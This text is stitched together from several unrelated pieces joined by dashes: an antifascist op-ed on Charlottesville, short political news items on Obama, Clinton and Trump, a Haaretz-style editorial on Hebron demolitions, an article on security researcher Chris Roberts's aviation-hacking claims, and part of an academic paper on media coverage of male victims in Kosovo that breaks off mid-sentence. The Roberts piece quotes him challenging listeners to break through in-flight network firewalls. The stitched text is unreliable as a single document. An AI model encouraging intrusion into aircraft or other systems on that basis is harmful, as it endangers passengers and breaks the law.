Matter and Redneck Revolt, as well as socialist, anarchist and antifascist groups. A coalition of religious progressives, Congregate Charlottesville, has called for “1,000 clergy and faith leaders to join” the counter-protest, and Cornel West has said he will attend.  Following the demonstrations in Berkeley at the beginning of the year, a number of progressives issued vocal criticisms of the use of confrontational strategies against the far right. These attacks by moderates on antifascist radicals helped lower attendance at counter-demonstrations. Simultaneously, the far right was able to create an unusual Trumpist Republican-Nazi-militia street coalition. This has helped propel far right organizing to new heights.  While arguments on the Left over how to deal with the Far Right go back many decades, the strategy of sitting by and doing no more than documenting its rise because opposing it “will give them attention” has never been a successful approach. Neither has counting on law enforcement to arrest those who break the law.  In practice, since February, few groups outside of antifascist circles have done national-level, longer-term, nuts-and-bolts organizing on the ground against the organized far-right groups. For example, there has been no new wave of regional anti-far-right groups like those which existed in the 1980s and ’90s. These groups did not engage in militant direct action but did build grassroots opposition to Nazi and Klan groups. But, outside of Redneck Revolt, there is not even a sustained effort to create online counter-propaganda. (Although one of the few initiatives by moderate groups has been to limit the far right’s use of social media and online fundraising platforms.) There have been localized demonstrations — in Portland in June after the murder of two men by an Islamophobic racist, and later in the month against a national day of Islamophobic rallies — but these haven’t gelled into any coherent organization or strategy.  The Charlottesville rally has the potential to unite differing radical and progressive activists who oppose white nationalist organizing, and this opportunity should not be squandered. A broad-based, progressive coalition of groups with different analyses and approaches is needed to counter this new, reinvigorated far right. If these groups can’t cooperate, they should at least be able to leave each other alone to pursue their own strategies. But that should not mean staying home and ignoring public far right activism. When far right organizers try to take over our cities, the one thing that progressives can’t do is to respond with silence. In the face of an aggressive racist movement, silence is consent.
-"It would not make sense for us to see a top priority as going after recreational users in states that have determined that it's legal," President Obama tells Barbara Walters in an ABC interview that airs tonight. "We've got bigger fish to fry."  Do those "bigger fish" include licensed growers and suppliers of state-legal marijuana? Because that's the real issue here, as Jacob Sullum explained yesterday:  The federal government, which accounts for less than 1 percent of the country's marijuana arrests, almost never handles cases involving such small quantities and does not have the resources to do so in any significant way. The real question is not whether the DEA will start busting newly legal pot smokers (even those who grow their own, as permitted in Colorado) but whether it will raid, close down, and prosecute state-licensed commercial growers and retailers.  Alas, Obama doesn't say whether he'll continue to go after licensed and regulated suppliers. More from his interview with Walters:  Obama told Walters he does not – "at this point" – support widespread legalization of marijuana. But he cited shifting public opinion and limited government resources as reasons to find a middle ground on punishing use of the drug. "This is a tough problem, because Congress has not yet changed the law," Obama said. "I head up the executive branch; we're supposed to be carrying out laws. And so what we're going to need to have is a conversation about, How do you reconcile a federal law that still says marijuana is a federal offense and state laws that say that it's legal?" The president said he has asked Attorney General Eric Holder and the Justice Department to examine the legal questions surrounding conflicting state and federal laws on drugs. "There are a number of issues that have to be considered, among them the impact that drug usage has on young people, [and] we have treaty obligations with nations outside the United States," Holder said Wednesday of the review underway. "When you're talking about drug kingpins, folks involved in violence, people who are peddling hard drugs to our kids and our neighborhoods that are devastated, there is no doubt we need to go after those folks hard," said Obama. "It makes sense for us to look at how we can make sure that our kids are discouraged from using drugs and engaging in substance abuse generally," he said. "There's more work we can do on the public health side and the treatment side."  My favorite section:  As a politician, Obama has always opposed legalizing marijuana and downplayed his personal history with the substance. "There are a bunch of things I did that I regret when I was a kid," Obama told Walters. "My attitude is, substance abuse generally is not good for our kids, not good for our society.  I wonder if Obama thinks the guy who sold him pot in high school--and who he thanked in his yearbook--should have gone to prison?
-Hillary Clinton said anyone the FBI is monitoring for suspected terror ties should be banned from buying a gun Saturday, suggesting the federal government should be able to strip U.S. citizens of their constitutional right to buy a gun before convicting them of a crime.  “If the FBI is watching you for suspected terrorist links, you shouldn’t be able to just go buy a gun with no questions asked,” Clinton said at a rally in Cleveland. “And you shouldn’t be able to exploit loopholes and evade criminal background checks by buying online or at a gun show.”  The presumptive Democratic nominee was responding to news early Sunday that a man inspired by the Islamic State shot and killed 49 people at a gay night club in Orlando.  “And yes, if you’re too dangerous to get on a plane, you are too dangerous to buy a gun in America,” Clinton continued, again implying that the subjective judgment from the government that a person is “dangerous” should be grounds for preventing a U.S. citizen from exercising their constitutional rights.  Clinton herself, of course, is tied up in an FBI investigation right now into her use of a private email server as Secretary of State.  WATCH:  Follow Rachel on Twitter  Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.
-The dinner was a follow-up to a meeting that Mr. Schumer and Ms. Pelosi had with the president in the Oval Office last week, during which Mr. Trump agreed to the Democrats’ proposal for a vote on a debt-ceiling increase and a government funding measure that also included a Hurricane Harvey aid package.  While the two top Republican congressional leaders, Senator Mitch McConnell and Speaker Paul D. Ryan, attended that meeting, they were absent from the Wednesday night dinner.  A total of 11 people were seated at the table in the Blue Room of the White House on Wednesday night, with the first 30 minutes of the meeting focused on China trade issues, according to one person briefed on the dinner. The meal served was Chinese food, an intentional nod to China trade, on which Mr. Trump and Mr. Schumer hold their closest views.  On the DACA program, Mr. Trump has given Congress six months to find a legislative solution to extend the protections that President Barack Obama granted by executive order. But before the dinner on Wednesday night, prospects for quickly enacting a replacement for DACA had appeared to be flagging in Congress.  “With all the other things going on right now, it’s kind of put on the back burner,” said Representative Mike Coffman, Republican of Colorado, who had pulled back a petition he had hoped to use to force the House to take up legislation on the program. Representative Bob Goodlatte of Virginia, chairman of the House Judiciary Committee, has said that the program is at the end of a list of immigration priorities.  Several top Republican leaders in Congress, including Mr. Ryan, have said that they want to tackle the issue of the young immigrants in conjunction with a broader immigration reform and border security effort.  But Republicans have been mostly enraged with Mr. Trump since the Oval Office meeting last week, where he sided with the Democratic leadership over his own party and his own Treasury secretary in favor of a December debt-ceiling vote. Mr. Ryan, who preferred a longer-term deal, had called such a three-month plan ridiculous.
-Defense Minister Ehud Barak last week took a break from his urgent work on the Iranian crisis to heat up the relatively quiet eastern front as well. Barak told the High Court of Justice he had decided to demolish eight Palestinian villages in the southern Hebron Hills, in Area C, where some 1,500 people reside and make their living.  Barak said he had made the decision because it encompasses an area known as "Firing Zone 918," which is essential for Israel Defense Forces training. The state expressed concern that the residents would gather information about IDF methods and use them for terrorist purposes.  The declaration of Palestinian lands as "firing zones" was used during the era of military government over areas in Israel as a common method to take over tens of thousands of dunams of land belonging to Palestinian citizens of Israel, and to confine them to a smaller region. With the conquest of the territories in 1967, the new military government that was established there also adopted the method.  Over the years, a system of "special security zones" developed. Palestinian entry can be restricted to lands that they own in these zones, which are located near settlements or along roads used by settlers.  The state prosecution claims, based on testimony by anonymous collaborators, that most of the residents in the villages slated to be razed have permanent dwellings in the town of Yatta. As a result they are not entitled to protection from eviction, which only applies to "permanent residents." This position is well reflected in the distorted view that Area C, which constitutes about 60 percent of the West Bank, is the natural living space of the settlers.  While the state fosters the settlements and avoids evacuating the outposts - including some established on privately-owned Palestinian land - it is miserly when it comes to issuing master plans and building permits for Palestinians under its aegis. The authorities even harass international organizations and human rights groups that finance basic infrastructure, schools and clinics.  According to international law, the land under contention in the Hebron Hills - like all the land in the West Bank - is occupied land. The eviction of hundreds of farmers and shepherds using the pretext of "firing zones" is pyromania.  Keep updated: Sign up to our newsletter Email * Please enter a valid email address Sign up Please wait… Thank you for signing up. We've got more newsletters we think you'll find interesting. Click here Oops. Something went wrong. Please try again later. Try again Thank you, The email address you have provided is already registered. Close  The defense minister must prevent the Hebron Hills from being set on fire, and act fairly toward all Palestinian residents under Israel's authority.  Defense Minister Ehud Barak at an IDF post in the Golan Heights. Gil Eliahu  Palestinian children play in a village south of Hebron. Alex Levac
-More than two years before coming under FBI questioning about possibly hacking into the in-flight entertainment system of a commercial plane while it was in mid air, a security researcher told peers he accessed the computer controls of other highly sensitive aviation and aeronautics systems, including the International Space Station.  Chris Roberts of One World Labs told an audience in 2012 that he bypassed the on-board firewall of a Boeing 737 plane he was traveling on and made contact with the Apache Tomcat webserver the firewall was protecting. He told the same audience he accessed communications systems NASA uses to control the International Space Station and changed the temperature. It was impossible to confirm the veracity of those claims, which went largely unnoticed until Friday, when an FBI search warrant application came to light alleging Roberts told agents he took control of a jet plane and briefly caused it to climb and fly sideways.  The 2012 talk—titled By Land, By Sea, By Air—has already touched off howls of protest from some researchers who say even the passive accessing of restricted parts of a plane while it's in flight is grossly reckless. Critics also argue the behavior would likely be a violation of the Computer Fraud and Abuse Act, which makes it a felony to gain unauthorized access to protected computer systems.  The talk has also generated a vigorous debate among security professionals about whether it's technically possible to carry out the hacks described in Roberts's presentation and in an interrogation with FBI agents. Some participants argue computer systems in commercial planes are segmented in a way that prevents passengers from accessing computerized instruments used to control the aircraft or to communicate with people on the ground. Other researchers say the firewalls and other intrusion prevention systems aren't sufficiently tightened down.  For the past half decade or so, Roberts has belonged to this latter group of researchers. On numerous occasions, he has publicly complained that airline manufacturers and the hundreds of partners these manufacturers rely on for various hardware and software components have failed to fix serious vulnerabilities he has privately reported. Among other things, he has said, it's possible for passengers to use specially equipped laptops to access an on-board network known as the Intellibus system, named after the manufacturer who makes it.  Beginning around the 18:00 mark in the above video, for instance, Roberts discussed the ability to use the VxWorks real-time operating system to tap the programming interfaces developers use to access an aircraft's intellibus network. He went on to say:  You on your own system have made yourself a self-contained Vx environment that can communicate with the intellibus system. You've had to do some bloody research for it and you've had to figure out exactly how it works. But when you've done it, what you now have is the ability to create yourself a crate, and in this case it was for a 787 that we made that basically shut the engines off using the fade [inaudible] chip architecture at 35,000 feet. Loves, hugs, and kisses, One World Labs. [comment about some issues being fixed] Sitting on an airplane going off to Norway and actually sitting on a 737 going down to San Antonio on Tuesday we made friends with the firewall. We overrode the firewall and made friends with the second firewall. Once we were on the second firewall we ran into an Apache Tomcat sitting on [port?] 1433. It's not patched. Have fun with it – carefully. Simple stuff. It takes a little bit of work. It takes you coming a little prepared. It means you going onto an airplane with a machine that's capable of having some fun with their environments. How many of you guys fly on the planes that have the Gogo wireless running on them? I challenge you next time you're on the airplane that has Gogo wireless, see how far through the firewall you can get. See if you can get to the ground-based communication that they use. See if you can get to the intellibus architecture. Please don't take the airplane out of the sky. And for those of you who are in the airline industry listening to this, fix it please. These are problems that we've highlighted for the last year or two. This is stuff we've brought up for a while now. Same as the cars. The vehicle stuff we've brought up for several years. Now I know that the cycle they have for fixing stuff is extended but it would be nice to actually know this stuff is being done. Because the same things you can do with airplanes you can do with drones as well.  During a question-and-answer period near the 47:00 mark, an audience member asked about accessing instruments used to control NASA's Curiosity Rover, which landed on Mars in August 2012, two months before Roberts delivered his talk at the GrrCon hacker conference. After a lengthy laugh, Roberts provided the following response:  Those are fun. I got into trouble for playing with the Space Station shit what was it seven, eight, nine years ... how many years ago was that? Crap. Eight, nine years ago we messed around with the Space Station. We adjusted the temperature on it. It was quite fun. We got yelled at by NASA. If they're going to leave open shit that's not encrypted that's their own damn silly fault. We tried. The Curiosity Rover on Mars. The suggestion was to take that for a spin. We've actually started to investigate it. The closest we've done is figure out exactly how they're communicating, how they're controlling it, and we might have one or two of the passwords for some of the software that we know are still in default mode. But the problem is actually getting into it without breaking more laws than we're used to breaking. No, I think NASA would probably really get pissed at me for that one.  There's little to no debate that Roberts's research is motivated by a genuine desire to improve the security of aviation and aeronautics computer systems. So far, no one has seriously argued he intended to inflict damage. But that's largely where the agreement ends. As stated earlier, Roberts's defenders claim his comments are being taken out of context and that many of the things he's describing aren't technically feasible. Taken another way, however, the comments portray a researcher who either embellished the hacks he described to fellow researchers or felt no compunction or remorse for the potential danger they may have posed to others. Taken this way, Roberts's comments also show little regard for respecting the legal boundaries of other people's networks and computers.  Lawyers for the Electronic Frontier Foundation, who are providing legal representation to Roberts, didn't respond to an e-mail seeking comment. This post will be updated if they respond later.
-Effacing the Male: Gender, Misrepresentation, and Exclusion  in the Kosovo War by Adam Jones, Ph.D. Published in Transitions: The Journal of Men's Perspectives, 21: 1-3 (2001). ABSTRACT The Kosovo war of 1999 offered an excellent opportunity to analyze the representation of gender and violent victimization in the mass media. The present article focuses on the motif of "gendercide," or gender-selective mass killing -- in this case, of "battle-age" ethnic-Albanian men. A broad sample of media commentary is presented to demonstrate that "unworthy" male victims tend to be marginalized or ignored entirely in mass-media coverage. A trio of common marginalization strategies is discussed, and a theoretical framework of "first-order," "second-order," and "third-order" gendering is proposed to clarify the deficit in coverage. This deficit is then contrasted with the attention given to the victimization experiences of "worthy" victims, such as women, children, and the elderly. Finally, the small handful of responsible and insightful media reports on gender-selective atrocities against Kosovar men is evaluated for the alternative it may offer to "effacing the male" from coverage of war and violence.  I. Introduction  The war in Kosovo between March and June 1999, tragic as it was, offered an ideal opportunity to analyze the representation and rhetoric of gender in western mass media. An overriding Serb strategy in the conflict was "gendercide" against non-combatant men -- the same strategy Serb forces had followed from the outset of Yugoslavia's war of dissolution.(1) From the first day of the war in Kosovo (24 March 1999), and indeed long before, the Serbs overwhelmingly targeted "battle-age" men for the most severe atrocities, although women, the elderly, and children were also exposed to a wide range of abuses and war crimes, ranging from killings to rape and forced expulsion (Jones, 1994). The report issued after the Kosovo war by the Organisation for Security and Cooperation in Europe (OSCE) was emphatic in pointing to these gender- and age-selective strategies:  Young men were the group that was by far the most targeted in the conflict in Kosovo ... Clearly, there were many young men involved in the UCK [Kosovo Liberation Army] ... but every young Kosovo Albanian man was suspected of being a terrorist. If apprehended by Serbian forces -- VJ [Yugoslav army], police or paramilitary -- the young men were at risk, more than any other group of Kosovo society, of grave human rights violations. Many were executed on the spot, on occasion after horrendous torture. Sometimes they would be arrested and taken to prisons or other detention centres, where, as described afterwards by men released from such detention, they would be tortured and ill-treated, while others would simply not be seen again. Others were taken for use as human shields or as forced labour. Many young men "disappeared" following abduction.(2)  The present article, based on a broad sampling of media coverage during and after the war, explores how this reality was conveyed -- or not conveyed -- by major western news media. It is my conviction that the strategies are of relevance far beyond the Kosovo case, and indeed beyond the theme of gender and international conflict; they speak to the typical means by which male victims of violence are marginalized or "effaced" from the prevailing media and human-rights discourse. The sources consisted of the following:  Internet Newsgroups:(3)  clari.news.conflict.misc  clari.news.crime.war  clari.news.refugees  clari.news.photos  clari.world.organizations.misc  (On 19 April 1999, ClariNet created a special newsgroup, clari.hot.a, to collate posts about Kosovo. It proved indispensable.)  Electronic newspapers/broadcasters:  The Globe and Mail  The National Post  The New York Times  The Washington Post  The Guardian / The Observer (UK)(4)  The Christian Science Monitor  BBC News Online  Some readers may be skeptical of the electronic versions of newspapers, and it is important to point out that certain areas of content -- notably op-ed columns and letters to the editor -- were for the most part not sampled. Nonetheless, the range of materials available through these sources was impressive. The New York Times alone standardly posted between half a dozen and a dozen feature stories on the Kosovo conflict daily. Coverage in several other key sources (The Washington Post, The Globe and Mail, the BBC, The Guardian) was only slightly less extensive.  I do not pretend to have read every word of every article posted these sources -- far from it. Rather, I was confident that I could zero in on a sufficiently wide range of material to generate some propositions about the coverage of events within war-torn Kosovo. The task was made easier by print and electronic media's "pegging" of content through headlines. Many of the claims made here pertain to media "focus," which in such a news culture I see as reducible to the headline and "lead," that is, the opening paragraphs of the standardized news story. (These opening paragraphs are ever more important, as news is chopped into smaller bits for the benefit of advertisers and, allegedly, readers with low attention spans.)  Although the article does not operationalize its arguments via a formal content analysis, it is my belief that the vocabulary and frameworks presented here will be useful in developing more statistically-based and methodologically-rigorous studies of this type. In a late section of the paper, I also explore some of the more accurate and responsible media coverage of male victimization in the Kosovo conflict. Although such coverage appeared like rare nuggets, and was swamped by the more distorted and exclusionary variety, it provides important and constructive exceptions to the rule -- and hence an indication that alternatives existed to "effacing the male" from the media agenda.  II. "Including Women," Excluding Men  In their groundbreaking work, Manufacturing Consent, Edward S. Herman and Noam Chomsky devoted a chapter to the subject of "Worthy and Unworthy Victims" in media coverage. (Herman and Chomsky, 1988: 37-86.) They presented a comparative treatment of the intensity and character of media coverage of victims who were convenient for U.S. policymakers -- Cambodians under the communist Pol Pot; the Polish priest, Jerzy Popieluszko, murdered by Polish security agents -- contrasted with inconvenient victims, such as the slaughtered and systematically starved inhabitants of East Timor (invaded by a U.S. ally, Indonesia), or one hundred religious workers killed by U.S.-sponsored terror regimes in Central America. Comparing directly the coverage of the priest Popieluszko with the mass of "inconvenient" religious workers (including a Salvadorean archbishop and four US nuns raped and murdered by Salvadorean soldiers in 1980), Herman and Chomsky concluded:  For every media category, the coverage of the worthy victim, Popieluszko, exceeded that of the entire set of one hundred unworthy victims taken together. We suspect that the coverage of Popieluszko may have exceeded that of all the many hundreds of religious victims murdered in Latin America since World War II, as the most prominent are included in our hundred ... [W]e can also calculate the relative worthiness of the world's victims, as measured by the weight given them by the US mass media. The worth of the victim Popieluszko is valued at somewhere between 137 and 179 times that of a victim in the US client states; or, looking at the matter in reverse, a priest murdered in Latin America is worth less than a hundredth of a priest murdered in Poland. (Herman and Chomsky, 1988: 39.)  The concept of "worthy" versus "unworthy" victims seems a fertile one in analyzing the treatment of the victims of the gendercidal atrocities in Kosovo, and male victims of violence more generally.(5) In this section, I sketch some of the predictable, even ritualized, means by which "unworthy" male victims were excluded from the analysis, and "worthy" ones - notably children and women -- privileged.(6)  The effacing of male victims in mass media is generally accomplished by three interrelated strategies. The first might be called incidentalizing. Modern news, as noted, is a hierarchical creature. It generally "leads" with the dominant theme of the article, which the headline is also meant to convey. Many newspapers, printing or reprinting an article or wire-service report, will include only (a version of) the headline and the first several paragraphs of the story. Thus, to relegate an important theme to passing mention in the middle reaches of the article, or to introduce it only at the end, is effectively to render it incidental and inconspicuous, if not outright invisible.  Consider, for example, the strategy adopted in the following Agence France-Presse dispatch (emphasis added):  The Death March of the Kosovo Refugees  MORINA, Albania, April 18 (AFP) -- Among the thousands of refugees fleeing Kosovo, none suffer worse than those forced to travel for days and nights on end on foot. While many cross the border into Albania and Macedonia in cars or open trailers drawn by tractors, the rest have had to walk, harried by Serbian troops on what for some became a death march. Staggering up to the red barrier marking the frontier, carrying children and baggage, and supporting the elderly, they sob as they gulp down food offered by humanitarian organisations. Their accounts, consistent, precise and detailed, describe a Kosovo that has been turned into a hell, criss-crossed day and night by columns of refugees expelled from the Serbian province in ferocious "ethnic cleansing." "We walked almost without stopping for four days and four nights," groaned Hysnije Abazi, 22, from Kladernica in central Kosovo. "We were escorted all the time by Serbs in vehicles or on foot. We were not allowed to drink, stop, rest or shelter from the rain. Before we set off they set fire to our cars and tractors and ordered us to march in columns." They also took away all the males aged 15 or over [!]. Crinkle-haired Afertita Kajtazi, 23, her eyes ringed with fatigue, said their [i.e., the refugees'] treatment was deliberately harsh. ... (emphasis added)  Here the "genocidal cull of ethnic-Albanian males"(7) takes place in the blink of an eye, amidst a torrent of frankly lachrymose descriptions of the convoys of helpless "worthies."  A second strategy is displacement. Here, the male is defined by some trait or label other than gender -- even when gender obviously, or apparently, is decisive in shaping the experience or predicament being described. During the Kosovo war, typical displacement terminology included designations such as "Kosovars," "ethnic Albanians," "bodies," "victims," and "people." In this context, consider Daniel Williams' report in The Washington Post on the mass murder at Istok prison, a facility bombed by NATO planes in late May 1999. After the last of three bombing raids, the Serbs paraded 19 male corpses before western media, declaring that they were the bodies of prisoners killed by NATO. It now appears likely that many of these men, along with up to 100 others, were massacred by the Serbs in one of the war's larger acts of gendercide. Here is how Williams reported the Serbs' propaganda show:  Bodies of dead prisoners were shown to reporters lying around the prison courtyard Saturday [22 May], and on Monday [24 May] another group of corpses inside a foyer entrance to a cellblock. ... Despite the presence of 1,000 mostly ethnic Albanian prisoners, [NATO] bombed it twice Saturday and once early Sunday. No one seemed to take into account the possible extra danger to the prisoners ... 19 bodies of prisoners lay in and around the courtyard, and on Monday those bodies lay in the same spots ... An inspecting magistrate said the bodies were left outside because he had not had time to carry out his work, what with all the bombing. ... Then there was the new group of dead on display Monday ... Twenty-five bodies in the foyer, some lined up on top of one another domino-style, many with streaks of blood on their bodies ... These corpses were not dusty. ... No one seemed to know why the 19 Saturday bodies were left outside, but ... (Williams, 1999, emphasis added.)  There was precisely one reference to "men" in the story: to the "masked [Serb] men with rifles" hovering around the facility. Males as agents of violence were visible, and gendered; as victims, they were effaced from the discourse.  Perhaps the most bizarre example of the displacement strategy employed during the war came in mid-April, when the subject of Kosovar men used as forced labourers surfaced in press briefings and subsequent media coverage. The BBC began its report on "Kosovo 'grave gangs'" with the claim that "Kosovo Albanians dressed in red [were] being forced to move dead bodies and dig graves" -- a strange emphasis, given the subsequent acknowledgment that these crimson-clad Kosovars were all "men and boys." (BBC Online, 1999a; emphasis added.) By the time the story reached the Press Association, the gender variable had disappeared completely: "Chilling new evidence has emerged of Serbian attempts to cover up massacres of ethnic Albanians in Kosovo. Armed Forces Minister Doug Henderson said he had received 'disturbing reports' of unarmed civilians dressed in red transporting bodies away from atrocity sites." The story quoted Henderson as stating: "To cover up atrocities, the Serbs are using civilians dressed in red to clear up massacres. They are clearing bodies well away from where massacres have occurred." (Press Association, 1999; emphasis added.) As the Kosovar men buried the dead, so were they largely buried in the policy equation and public discussion. The Press Association report managed to go its entire length with the gender of the chain-ganged gravediggers unmentioned, although the colour of the prisoners' dress was noted twice, and the children, mother, and grandmother among a group of refugee landmine victims (the main focus of the story) were carefully designated.  The third marginalization strategy is simply exclusion. The trope most commonly adopted here can be summarized in the little-examined phrase, "including women" -- or, equally commonly, "including women and children." The trend has been persistently evident in media coverage of the Bosnian war, as a report as recent as October 1999 makes plain (duly emphasized throughout):  Bosnian forensic teams have exhumed 251 bodies, mainly of Muslim civilians, in the Serb-run half of Bosnia in the last two weeks ... The bodies, victims of the 1992-95 Bosnian war, were exhumed from more than 14 mass graves each containing up to 15 corpses, as well as individual graves ... The majority, including 12 women and five children, were executed by Bosnian Serb forces who had captured these regions at the beginning of the war ... Some 3,000 people, mainly Muslims, were still missing in northwestern Bosnia. (Agence France-Presse, 1999a.)  Ninety-three percent adult male casualties. But this fact passes unmentioned in the rush to draw attention to the "worthy" victims. Literally dozens of examples of this strategy could be cited from the wartime and postwar coverage of Kosovo:  In Velika Krusa, Dutch soldiers yesterday reported finding charred remains of around 20 ethnic Albanians, including women and children, and said they expect to find more nearby. (Dan, 1999.)  Splashes of blood are still visible on the lower portion of a door at a pizzeria in Suva Reka, where up to 50 people, including women and children, are believed to have been slaughtered. (Lynch, 1999.)  Since starting work on 18 June, the UK forensic team has exhumed over 260 bodies of Kosovar civilians from mass graves, including women and the remains of 21 children ... (British Foreign Secretary Robin Cook). (Kirkland, 1999.)  Let it be stated plainly: "Including women" excludes men. To get a better sense of the origins and implications of the phrase, substitute "including Europeans." (Indeed, the systematic exclusion of one category of victims, and the implicit prioritizing of the minority category, is very similar to colonial discourses in Victorian times.) The trope is particularly misleading when the phenomena described -- such as the massacre at Velika Krusa and the campaign of mass killing in Kosovo as a whole -- are so disproportionately and methodically slanted against males. In virtually all cases, the phrase "including women and children" can be translated as "including a majority of adult men and a minority of women and children." But men remain the "absent subjects," entering the narrative only indirectly and by inference, if at all.(8)  A more subtle version of the exclusionary strategy can be seen in the following passages:  Several dozen Kosovo Albanians, many of them women and children, were hiding there in the hills when about six Serbian paramilitaries found them and shot the men, demanding to know where they were hiding their weapons, villagers said. (Fisher, 1999a.)  And this, from the aftermath of the Kosovo war:  Air Marshal Sir John Day, deputy to Britain's Chief of Defence Staff, Gen. Sir Charles Guthrie, said NATO was "within days" of making a formal decision on a ground invasion and was confident NATO would have approved. Guthrie told the allies the Yugoslav army was "overrated" and "bully boys good at killing women, children and old people." (United Press International, 1999.)  The emphasis in the first passage is on the presence and newsworthiness of "many" women and children (which is, after all, what one would expect in any demographically-representative population). In the second, the cowardliness of the Serb forces is exemplified by their murder of every element of the civilian population except "battle-age" males. The manifestly most vulnerable demographic is the only one not represented in the formulation -- except insofar as the killing of defenseless battle-age men is seen as a legitimate test of the Yugoslav army's power and machismo.(9) (As R.J. Rummel put it in a different context, "One would think that murdering an unarmed man was a heroic act." [Rummel, 1994: 323.])  The analytical befuddlement to which this strategy rapidly leads was exemplified by a 22 April 1999 story in The Washington Post, "Accounts of Serbian Atrocities Multiplying." As the headline suggests, this was one of the Post's major attempts to confront the scale and patterning of the Serb rampage in Kosovo. The article featured several examples of the displacement strategy mentioned above, referring to "scores of accounts of Yugoslav forces killing small groups of ethnic Albanian civilians" and the "'summary, random executions of small groups,'" although the vast majority of the atrocities specifically mentioned in the article were not at all random -- they fit the standard gender-selective pattern.(10) But the most astonishing reference in the Post story was to "the [Yugoslav] government's role in the massacre of dozens of women and children at the Kosovo village of Racak" in January 1999. This is the prewar massacre for which international monitors gave a breakdown of 31 victims as follows:  Twenty-three adult males of various ages. Many shot at extremely close range, most shot in the front, back and top of the head. ... Three adult males shot in various parts of their body including their backs. ... One adult male shot outside his house with his head missing ... One adult male shot in head and decapitated. ... One adult female shot in the back ... One boy (12 years old) shot in the neck. ... One male, late teens (shot in abdomen). (The New York Times, 1999.)  The standardly-cited death toll for the Racak massacre (the investigators arrived after more than a dozen autopsies had been completed) is 45. I have found specific mention of one female killed -- 18-year-old Hanushune Mehmeti (apparently the "adult female shot in the back"), who was described by one witness as having been "shot when she tried to come to the aid of her brother." (Bird, 1999.) Other sources cite two other women among the total of 45 victims, thus three in all. The one child victim was the twelve-year-old boy "shot in the neck." Thus, at the outside: forty-one adult men executed in cold blood, and three women and one boy also killed, in this massacre of "dozens of women and children." The Post's eagerness to find "worthy" victims among the carnage leads to their conjuring by the dozens out of whole cloth. Nor is this a matter of simple historical accuracy. It amounts to a misrepresentation of the essence of the slaughter at Racak -- which was a harbinger of the hundreds, possibly thousands, of individual acts of gendercide against Kosovar males between March and June 1999.(11)  The point can be buttressed with a further example from Kosovo reporting. One of the most widely-noted acts of gendercide during the war was the massacre at Izbica in early April. The Christian Science Monitor (1999) related the events in only slightly less distorted a fashion than did the Post in reporting Racak: "The Monitor tracked down three men who in separate interviews insisted they were among 60 or 70 people who helped to bury the dead. One gave the number of victims as 148, with two survivors; the others spoke of 150, including several women ..." (emphasis added). Remarkably, in the entire Monitor story, it was nowhere stated that this "worst massacre known in Kosovo" was a truly towering act of gender-selective slaughter.(12)  III. "Emptying" Kosovo  One of the most intriguing and revealing motifs deployed during the Kosovo war, both in policy statements and media commentary, was the notion that Kosovo was being "emptied" of its ethnic-Albanian population. There could hardly be a more blatant contradiction between this theme of emptying/expulsion and the numerous passing references to mass detentions and executions of "battle-age" males. Take the following examples:  Kosovo Could Be Emptied Soon. A complete emptying of Kosovo appears possible as the expulsion of ethnic Albanian refugees resumes with brutal force, the UN refugee agency said Friday. "The effort by the Serbian authorities to expel the entire ethnic Albanian population of Kosovo is again underway," Kris Janowski, a spokesman with the UN High Commissioner for Refugees (UNHCR) told journalists. (Agence France-Presse dispatch, 16 April.)(13)  Britain accused Yugoslav President Slobodan Milosevic Monday of trying to empty Kosovo of its entire ethnic Albanian population as NATO examine ways to help refugees on the run within the Serbian province. ... "From reports overnight, it is clear that Milosevic is once again trying to empty Kosovo of all ethnic Albanians," [Tony] Blair told the annual meeting of the European Bank for Reconstruction and Development ... (Agence France-Presse dispatch, 19 April.)  Expulsion of Kosovars to Be Total, U.S. Says. ... New evidence indicates that Yugoslav President Slobodan Milosevic intends to sweep all of Kosovo and not allow ethnic Albanians to remain even in the province's most sparsely populated areas, the State Department's top authority on atrocities said on Wednesday. ... (The New York Times, 22 April.)  A moment's thought reveals the fallaciousness of the framing. Quite clearly, Kosovo was being "emptied" in manner that was highly selective according first to ethnicity -- as was generally acknowledged -- and secondly to gender, which rarely was. Rather than being allowed to seek refuge, a substantial portion of the civilian male population was falling prey to a "genocidal cull," and tens of thousands of others were in hiding, at mortal risk of roundup by the Serbs. Any who attempted exit with the refugee populations usually ran a gauntlet of Serb paramilitaries and/or regular forces that were prone to strip them selectively and en masse from refugee columns and lead them away to detention or summary execution. In the light of these manifest realities, the "emptying" motif seems nothing short of Orwellian -- an excellent example of the kind of conceptual vacuum into which Kosovar males fell during the war.  IV. Rape Worse Than Death?  Another phenomenon in public discussion of the Kosovo war and the Balkans more generally has been the privileging of rape or mass rape of women over the slaughter or mass slaughter of (non-combatant) males. The implicit prioritizing of sexually-assaulted women, often on ambiguous or scanty evidence, reflected both age-old biases and more recent feminist activism on the issue of mass rapes in Bosnia and elsewhere. While feminist research in this area is to be commended and learned from, it has also contributed to a one-sided depiction of the atrocities of war that tends to consign the male victim to oblivion. Consider the evaluation of the Bosnian war by Bogdan Denitch, otherwise one of the most clear-eyed appraisers of Yugoslavia's collapse:  It is there [Bosnia] that by far the worst atrocities have taken place. Not only have there been vast and well-documented massacres of mostly Muslim civilians by Serbian militias, but concentration camps and massive forcible population transfers, known as "ethnic cleansing," have also been used to change the demographic realities of Bosnia. The worst of the horrors has been the systematic use of organized, repeated mass rape by Serbian militias of non-Serbian, mostly Muslim women as a part of "ethnic cleansing." To be sure, there have been cases of rape by all sides, and the UN has documented that Croats and Muslims have committed massacres and run concentration camps. What was unprecedented was the organization of mass rape as a matter of policy in a manner that could not have been unknown to the highest military and political authorities of the so-called Serbian Republic of Bosnia. One obvious victim is the prospect of a tolerable and decent life together after the war. (Denitch, 1994: 124; emphasis added.)  The gendering of the massacre victims and concentration-camp inmates was fairly well established by this point (1994), but Denitch reserves the very "worst" designation for the mass rapes of women, rather than the "vast and well-documented massacres of mostly Muslim civilians," overwhelmingly males.(14)  This dubious hierarchizing of human suffering was implicit throughout much of the discussion of the rape controversy during the Kosovo war. For example, James Rubin on 13 April called for Yugoslavia to "take immediate steps to punish the perpetrators of rape and other crimes ..." (Rubin quoted in Agence France-Presse, 1999c.) Reporting David Scheffer's comments on the massacre at Velika Krusa, where (as the story notes) "Yugoslav troops gunn[ed] down more than 100 men and boys between ages 14 and 50," The Washington Post added: "At the Pentagon, Defense Department spokesman Kenneth Bacon revealed that U.S. officials had received reports of an even more ghastly crime of mass rape followed by executions" -- i.e., up to 20 deaths at the alleged "rape camp" near Djakovica. Twenty raped and murdered women was "even 